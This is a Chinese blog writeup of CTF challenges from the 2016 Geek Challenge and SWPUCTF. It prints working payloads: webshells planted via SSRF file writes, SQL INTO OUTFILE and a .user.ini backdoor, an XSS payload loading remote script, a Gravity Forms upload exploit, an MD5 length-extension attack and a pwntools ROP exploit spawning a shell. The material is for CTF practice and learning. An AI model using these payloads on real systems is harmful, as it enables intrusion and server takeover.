第七季极客大挑战writeup和swup web400

php is fun

源码审计,感觉我还是比较喜欢做审计的题目,不用脑筋~~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];
}else{
show_source(__FILE__);
exit();
}

if(strpos($path,'..') > -1){
die('SYCwaf!');
}

if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.Geeker";
}

代码就是可以将http://127.0.0.1/开头的网页内容写入任意文件中。当然没有过滤后缀,可以选择上传php文件。 容易想到path变量我们是可控的,可以将shell写到path变量中。然后,再次访问之,便可写入shell。 Payload为:

1
2
3
4
5
6
/?file=http%3A%2f%2f127.0.0.1%2f%3Ffile%3Dhttp%253a//127.0.0.1/%26path%3D<%253fphp%2bprint_r(glob("/var/www/html/*"))%253b%2b%253f>&path=angelwhutest.php

F1Aggggggggglala.php

读文件:
直接访问即可,SYC{3992a1e498d69161}

注意,file变量里面都是要进行二次编码的(访问了两次web接口)。glob函数列目录,已经成了套路~~

lol web

同样是一个审计题目:

  • 存在文件任意下载漏洞:

URL为:

1
download.php?url=***

这样可以下载到源码

  • 审计代码,发现存在注入:

api.php文件,这句话存在错误:

1
$check = is_numeric($img_num) and is_numeric($img_first);

根据运算符优先级,上面的语句等同于:

1
2
$check = is_numeric($img_num)
$check and is_numeric($img_first);

所以只需$img_num为整数即可。$img_first参数处存在注入。

  • 写入shell

payload:

1
http://lol.sycsec.com/api.php?img_num=0&img_first=0 union select "<?php eval($_POST[c][/c]);?>",2 INTO OUTFILE '/var/www/html/images/angelwhutest123456.php' #

查看目录得到flag:

1
2
3
c=print_r(glob(/var/www/html/));

c=print_r(file_get_contents('/var/www/html/Flag123asdzpoiwqsd.php'));

Only number never lies to you

这个题目让我学到了ini后门技术。看了看前段时间的xdctf writeup,用到了这个。 首先,根据提示,爆破目录: 得到了一个相当于私有目录。进去发现是一个上传页面,试了试ini后缀,bingo。顺便说一下还有一个上传题目是要求上传phtml,试了半天。

  • 首先上传一个webshell_script12345.ini文件,里面有我们的shell内容。
  • 然后上传.user.ini文件

内容如下:

1
auto_prepend_file=webshell_script12345.ini //可以使文件夹目录下所有php文件,执行前都包含我们的webshell_script12345.ini中的php代码。

  • 最后访问upload_file.php,即可getshell。

连上蚁剑,得到flag:

皓宝宝的留言板

过滤了许多关键字,用字符串拼接绕过,payload为:

1
<svg/onload="a='documen';b='t.body.appendChild(do';c='cument.creat';d='eElement(\'sc';e='ript\')).s';f='rc=\'//*****/myjs/my_xss.js\'';eval(a+b+c+d+e+f);">

127.0.0.x

这个题目真是溜,x-forwarded-for:127.0.0.x伪造,用burpsuite爆破x即可。搞了半天,最后在结果中搜索flag,得到~

Social Engineering

一开始到社工库里面找,找了一些信息~ 未果~ 是我想的太复杂了,去贴吧发现一个肖力吧。里面有qq,访问空间。在留言板上发现一句话flag是域名注册人的电话号码。whois得到flag~~

pentest(web500)

今年又出了个WordPress,但是感觉没有去年的题目精彩~给出了提示,graityforms插件漏洞。于是,顺利上传shell。

1
2
3
4
http://wordpress.sycsec.com/?gf_page=upload
Security Test <?php eval($_POST[1]); ?>&form_id=1&name=ggsimida.php&gform_unique_id=../../../&field_id=3

https://blog.sucuri.net/2015/02/malware-cleanup-to-arbitrary-file-upload-in-gravity-forms.html

连上蚁剑,要想办法突破open_basedirdisable_functions。 可以小小总结下:

绕过open_basedir

列目录: 用https://www.leavesongs.com/PHP/php-bypass-open-basedir-list-directory.html 读写文件,只能是php自身的exp了。在exploit里面搜寻。

绕过disable_functions

  • 使用mail函数: shellshock漏洞和LD_PRELOAD环境变量。
  • 黑名单遗漏,使用遗漏的php执行命令函数。
  • ImageMagick组件漏洞。

phpinfo看了后,发现禁用了mail函数,gg。遗漏了一个pcntl_exec函数,但是没开--enable-pcntl再次gg。 最终翻到个可用的绕过open_basedir的Payload:https://www.exploit-db.com/exploits/10557/。成功获取flag。

1
2
3
~wow~

SYC{WordPr3ss_Y0u_N33d_1t}

由于这个是需要软链接的,我无法删除这个flag文件。和出题人交流,说可以命令执行。我瞅了半天没看出来,作罢~ 等官方wp出来,看看有啥新思路。 内网渗透,木有代理成功,搁置了。

swpuctf web400

隔壁发现一个swpuctf,去看了看web题目,难度还是不错的。只不过我偏爱审计题,于是做了做这道。其余的题目,服务器环境似乎不太好,老是崩,就没做了。题目质量还是不错滴。 看看这个有意思的审计题。 提示说有源码,御剑扫了下,发现/web/web.zip。开始了审计过程。

变量覆盖漏洞

首先看看common.php文件,下面这段代码,存在明显的变量覆盖问题。

1
2
3
4
5
6
7
8
9
10
foreach(Array("_POST","_GET","_COOKIE") as $key){
foreach($$key as $k => $v){
if(is_array($v)){//防护
die("hello,hacker!");
}
else{
$k[0] !='_'?$$k = addslashes($v):$$k = "";//防护,过滤了单引号,防止注入。
}
}
}

利用思路:

  • 直接覆盖_SESSION。但是防御了。并且防止了注入。

看看有啥可以变量覆盖的利用地方。

sql注入

由于参数进来,都被addslashes过滤了单引号~ 想要注入,必然要结合变量覆盖漏洞了。看看哪里不用单引号~~ 看看riji.php处,有个id变量,没用单引号进行查询:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if($_SESSION['user'])
{
$username = $_SESSION['user'];
@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if($result['userid'])
{
$id = intval($result['userid']);
}
}

...................

<?php
@mysql_conn();
$sql1 = "select * from msg where userid= $id order by id";
$query = mysql_query($sql1);
$result1 = array();
while($temp=mysql_fetch_assoc($query)) {
$result1[]=$temp;
}
mysql_close();
foreach($result1 as $x=>$o)
{
echo display($o['msg']);
}
?>

于是,就要想办法让php不给id初始化复制:

1
2
3
4
if($result['userid'])  //想办法让,根据username查不出id
{
$id = intval($result['userid']);
}

md5 hash扩展攻击

api.php明显看到了不一样的代码,hash扩展攻击:

1
2
3
4
5
6
7
8
9
10
11
12
if($this->check === md5($result['salt'] . $this->data . $username)){
echo '(=-=)!!';
if($result['role'] == 1){//检查是否为admin用户
return 1;
}
else{
return 0;
}
}
else{
return 0;
}

贴心的给出了(=-=)!!字符串,让我们证明自己攻击成功了。

  • checkdata都是我们可控的数据。这符合md5扩展攻击的条件。
  • $usernameadmin
  • salt我们不知道,但知道它的长度为16位。
  • 现在缺少一个md5值。在找回密码的地方,我们可以得到md5($salt)的值。

综合上述条件,我们可以开始扩展攻击了。

攻击过程

  • 先注册一个账号,并且登录
  • hash扩展攻击成功后,将自己之前注册的账号删除。(userid在返回的cookie中)
  • 利用id变量进行注入。

hash扩展攻击,用到了hash_extender工具。那个HashPump工具,不能只给salt的md5值,找了半天其他工具。 payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$salt_md5 = "917cc87f88b8833632b012418a7211ad";
$salt_len = 16;

/*
$ ./hash_extender --data "" --secret 16 --append "admin" --signature 917cc87f88b8833632b012418a7211ad --format md5
Type: md5
Secret length: 16
New signature: 8f4d7a58b13a34d34f8384595a3de5f7
New string: 80000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000061646d696e
*/

$serial = new admin();
$serial->check = "8f4d7a58b13a34d34f8384595a3de5f7";
$serial->data = pack("H*","800000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000");
$serial->name = "admin";
$serial->method = "del_user";
$serial->userid = 85;//自己账户的id,删掉以覆盖$id,产生注入。
echo base64_encode(serialize($serial));
//echo $serial->data;

成功删除注册用户后,注入得到flag: 这个题目非常不错滴没有脑洞

compose300

有意思的编程题,先解压了几次给的文件。在linux下,用file查看,发现每一层的压缩模式都不一样。有tar,zip,bzip2,gzip。凭着自己以前写过shell,于是有了以下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/bin/sh

tar_format="POSIX"
zip_format="Zip"
bzip2_format="bzip2"
gzip_format="gzip"

int=296
while(( $int>=0 ))
do
echo ${int}
file_foramt=`file ${int} | cut -d ' ' -f 2`
echo ${file_foramt}
if [ "${file_foramt}" == "${tar_format}" ]
then
echo "tar -xf"
`tar -xf ${int}`
elif [ "${file_foramt}" == "${zip_format}" ]
then
echo "unzip-----"
`unzip -o ${int}`
elif [ "${file_foramt}" == "${bzip2_format}" ]
then
echo "tar -jxf"
`tar -jxf ${int}`
elif [ "${file_foramt}" == "${gzip_format}" ]
then
echo "tar -zxf"
`tar -zxf ${int}`
else
echo ${file_foramt}
fi
let "int--"
done

再次学习了shell编程。

android RE

出的两个Android逆向都还挺简单的。第一个用ida分析下so文件。有个这段逻辑: 首先比较用户名。syc这个变量的数据,可以在.data中找到。然后比较密码,与table这段数据进行隔一个比较。 写个python,得到结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
import sys 

a = [0x53, 0x4B, 0x59, 0x68, 0x43, 0x7D, 0x7B, 0x61,
0x48, 0x2A, 0x61, 0x23, 0x76, 0x40, 0x65, 0x79,
0x5F, 0x66, 0x46, 0x38, 0x55, 0x48, 0x6E, 0x74,
0x5F, 0x6F, 0x57, 0x21, 0x31, 0x32, 0x74, 0x43,
0x68, 0x49, 0x5F, 0x30, 0x47, 0x37, 0x65, 0x62,
0x65, 0x51, 0x6B, 0x7A, 0x43, 0x66, 0x68, 0x70,
0x61, 0x4C, 0x6C, 0x4A, 0x40, 0x48, 0x7D, 0x72,
0x66, 0x67, 0x6C, 0x61, 0x23, 0x24, 0x74, 0x7A]

for i in range(28):
sys.stdout.write(chr(a[i*2]))

另一个直接用jeb,扣出核心代码(都是java,通俗易懂)。写个java程序,发给出题者就行。发邮件时,发现gmail不能带jar后缀的附件。于是,去掉后缀发送。

Ernie

到了逆向二进制的部分了,最近学pwn,对linux逆向感觉不错,正好有了这个题目。 找入口处,在call ___libc_start_main 上面的函数就是了。

1
2
push    offset sub_80487F6
call ___libc_start_main

看看逻辑,一开始将输入的key每两位当做十六进制解析成字符: 然后和_6sY2tcY3iY7sem_字符串比较。 因此,写个python算出key:

1
2
3
4
5
6
import sys
s_cmp = "_6sY2tcY3iY7sem_"
for i in s_cmp:
sys.stdout.write('%x' %ord(i))

print "\n"

最后,根据key输入flag,ida逻辑为: v3为luckynum(6)~~
再用Python,输出flag:

1
2
3
4
5
6
key="5f367359327463593369593773656d5f"
for i in range(16):
tmp = "0x" + key[2*i] + key[2*i + 1]
sys.stdout.write(chr(int(tmp,16)^6))

print "\n"

pwn pwn pwn

学以致用,刚好放出一个基础的pwn题目,简单易懂~~

漏洞点

buf变量存在栈溢出: 判断长度时,使用\0作为标示。但复制时,用\x0A(换行符)做标示。于是,产生栈溢出。

漏洞利用

题目中step1,step2,step3三个函数提供了system("/bin/sh"),需要一步步来。 我的方法是:

  • 通过栈溢出,运行step1,回到main;
  • 再次栈溢出,运行step2, 回到main;
  • 再次栈溢出,运行step3, bingo;

str为全局变量,因此可以这么做。最终拼接成system("/bin/sh") exploit代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
import time

context.log_level = 'debug'
exe = 'rop_rop_rop'
#s= remote('127.0.0.1',9992,timeout=60)
s= remote('222.18.158.228',12341,timeout=60)
def getpid():
time.sleep(0.1)
pid= pwnlib.util.proc.pidof(exe)
print pid

raw_input('go!')
getpid()

main_addr = 0x0804867D

step1_addr = 0x0804871E
step1_check1 = 0x00
step1_check2 = 0x41414141
step1_check3 = 0xA2B3C4D5

step2_addr = 0x08048766
step2_check1 = 0xFF25A7D4
step2_check2 = 0x41414141

step3_addr = 0x080487A3
step3_check1 = 0xFFFFFFFF
step3_check2 = 0xC0C0C0C
step3_check3 = 0x9A829A82



s.recvuntil("Get Input")
payload1 = 4*'A' + '\x00' + 'A'*7 + 'A'*4 + p32(step1_addr) + p32(main_addr) + p32(step1_check1) + p32(step1_check2) + p32(step1_check3)
s.sendline(payload1)

s.recvuntil("Get Input")
payload1 = 4*'A' + '\x00' + 'A'*7 + 'A'*4 + p32(step2_addr) + p32(main_addr) + p32(step2_check1) + p32(step2_check2)
s.sendline(payload1)

s.recvuntil("Get Input")
payload1 = 4*'A' + '\x00' + 'A'*7 + 'A'*4 + p32(step3_addr) + p32(main_addr) + p32(step3_check1) + p32(step3_check2) + p32(step3_check3)
s.sendline(payload1)

s.interactive()

最后得到flag:

总结

选取了两个ctf比赛有趣的题目记录了下,学习到了一些知识。极客大挑战不难,可以好好练习下。简单的学到了一些知识,不错~~ 附上几个图。

文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2016/11/03/the-seventh-season-geek-big-challenge-writeup-and-swup-web400/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog